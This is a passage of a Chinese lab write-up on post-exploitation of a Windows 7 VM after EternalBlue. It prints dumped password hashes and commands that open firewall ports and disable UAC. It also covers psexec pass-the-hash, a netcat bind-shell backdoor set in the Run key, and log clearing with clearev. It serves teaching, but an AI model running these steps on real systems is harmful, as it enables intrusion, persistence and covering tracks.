Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hack:1001:aad3b435b51404eeaad3b435b51404ee:f4028299935700e0be0eba20d233404d:::
luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:b3974a327a72f739e4b96e70277e23b8::: -
创建一条防火墙规则允许4444端口访问网络,方便后期操作
shell
netsh firewall add portopening TCP 4444 "hack" ENABLE ALL
- 【解释】
这个命令是用于在 Windows 防火墙中添加一个 TCP 端口的规则。以下是每个部分的解释:
- netsh firewall add portopening:这部分表示使用 netsh 命令来操作防火墙,add portopening 表示要添加一个端口开放规则。
- TCP:这是要开放的端口的协议类型,这里是 TCP 协议。
- 4444:这是要开放的端口号,这个命令将会开放 TCP 端口 4444。
- “hack”:这是规则的名称,可以用任何描述性的名称来标识这个规则。
- ENABLE:这表示要启用这个规则。
- ALL:这表示这个规则适用于所有网络连接类型(例如域、专用和公用网络)。
总的来说,这个命令的目的是在 Windows 防火墙中添加一个允许 TCP 端口 4444 的规则,允许所有类型的网络连接。请注意,使用此命令需要管理员权限。
- 新建一个防火墙规则,允许443端口访问网络
netsh firewall add portopening TCP 443 "hack" ENABLE ALL
- 关闭UAC
- UAC(User Account Control) 是Windows操作系统中的一种安全特性,旨在提高系统安全性。它通过提示用户确认或提升权限来限制标准用户对系统关键功能和设置的访问。
- 当某个应用程序需要进行需要管理员权限的操作时,UAC会弹出一个对话框,要求用户确认或提供管理员凭据。这有助于防止恶意软件未经用户许可就进行系统级别的更改,从而提高了系统的安全性。
- UAC的目标是减少以管理员权限运行应用程序所带来的潜在风险,同时保护用户不受未经授权的系统更改的影响。
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
【命令解释】
这个命令是在 Windows 命令提示符(cmd)中执行的,它修改了 Windows 注册表中的一个键值。以下是每个部分的详细解释:
- cmd.exe /k:这部分表示启动一个新的命令提示符窗口,并在执行完命令后保持窗口打开。
- %windir%\System32\reg.exe:这部分是 reg.exe 命令的完整路径,reg.exe 是一个用于操作注册表的命令行工具。
- ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System:这部分表示要添加或修改的注册表键的路径。
- /v EnableLUA:这部分表示要添加或修改的值的名称,这里是 EnableLUA。
- /t REG_DWORD:这部分表示值的类型,这里是 REG_DWORD,表示一个32位的数字。
- /d 0:这部分表示值的数据,这里是 0。
- /f:这部分表示强制执行命令,不提示用户确认。
总的来说,这个命令的目的是关闭 User Account Control(UAC)。EnableLUA 键控制 UAC 的开启和关闭,设置为 0 表示关闭 UAC。请注意,关闭 UAC 可能会降低系统的安全性,因为它移除了对管理员级别操作的提示。
- 开启系统主机的默认共享,默认共享对于主机文件共享非常方便,也方便黑客利用这个功能,远程执行命令。
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
-
这里的代码和上一个关闭UAC的操作中不一样的主要是 /v 所指定的值是文件协议,而 /d所指定的值是1表示开启而不是上面的0表示的关闭。
-
过渡
-
exit
返回meterpreter,输入background
将永恒之蓝拿到的会话保持到后台。
-
切换使用扫描工具:
use exploit/windows/smb/psexec
-
查看需要配置的参数:
show options
-
设置靶机ip:
set rhosts 192.168.99.119
-
设置靶机账户名:
set smbuser hack
-
设置靶机密码:
set smbpass aad3b435b51404eeaad3b435b51404ee:f4028299935700e0be0eba20d233404d
(hack账户密码hash值) -
设置靶机工作组:
set smbdomain WORKGROUP
-
运行:
run
-
设置靶机注册表的键值,使得当目标机开机,nc程序可以自动在后台运行,且监听端口为443,这个端口就是之前在shell中创建的新防火墙规则:允许443端口访问网络
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'
【代码解释】
这个命令是在 Windows 注册表中设置一个键值。以下是每个部分的详细解释:
- reg setval:这部分表示使用 reg 命令的 setval 操作来设置一个注册表值。
- -k HKLM\software\microsoft\windows\currentversion\run:这部分表示要设置的注册表键的路径。这个路径指向的是 Windows 启动时运行的程序列表。
- -v lltest_nc:这部分表示要设置的值的名称,这里是 lltest_nc。
- -d ‘C:\windows\nc.exe -Ldp 443 -e cmd.exe’:这部分表示值的数据,这里是一个命令行字符串,它会在 Windows 启动时执行。
- 总的来说,这个命令的目的是在 Windows 启动时运行 nc.exe 程序。
- nc.exe 是 Netcat 的可执行文件,一个网络工具,可以用于创建 TCP 或 UDP 连接。这个命令让 nc.exe 在 443 端口监听连接,并在接收到连接时启动一个命令提示符(cmd.exe)会话。这可能是为了创建一个反向 shell,允许远程用户在启动时获得对系统的访问权限。
- 接下来我们让靶机重启,测试一下我们的后门是否可以成功执行:
reboot
- 在kali终端下尝试连接后门:
nc -v 192.168.99.119 443
- 至此已经完成了后门程序的上传和安全的运行。
- 值得注意的是!当我的后门程序,安全植入靶机之后,即使靶机重新开启了防火墙,我也依然能够通过我的后门程序来访问靶机的shell。
4. 其他尝试
4.1 解决拿到shell后的乱码问题
- 在上面的利用永恒之蓝的提权实验过程中,我们发现,提权后使用shell会出现乱码的问题,这里就补充如何解决提权后Win7shell的乱码问题:
使用chcp 65001
命令更改页面编码为65001编码即可
4.2 监控桌面行为
- 使用
screenshare
命令监控靶机的桌面行为
4.3 清除渗透痕迹
- 由于攻击过程中的所有操作都会被记录在目标系统的日志文件之中,因此需要在完成攻击之后使用
clearev
来清除自己渗透的痕迹。
5. 反渗透反思
- 体会了渗透的过程之后,才明白安全的重要性,攻防无绝对,网络空间安全的重要性不言而喻。 对于个人PC使用者来说,我们要谨记时刻打开防火墙,关闭445端口,安装好合适的杀毒软件。
以下是打开防火墙后,我继续尝试使用MS17-010漏洞利用工具来渗透的结果。 - 【打开防火墙后】
6. 参考文献
[1] Kali——关于Kali的下载与安装[OL]
[2] 网络安全入门第一课—永恒之蓝(ms17-010)[OL]
[3] 永恒之蓝漏洞复现(ms17-010)[OL]
[4] 桥接模式和NAT模式的区别[OL]
[5] VMware Workstation下载及安装
[6] Kali自2020.1版本之后不再提供root用户的策略
[7] 下载Windows 7 Enterprise with Service Pack 1 (x64) - DVD (Chinese-Simplified)(需用迅雷下载)
[8] MD5在线加解密网站
[9] kali上使用msf渗透win7(永恒之蓝操作复现)初学者指南
[10] Kali利用msf渗透Windows电脑(超详细)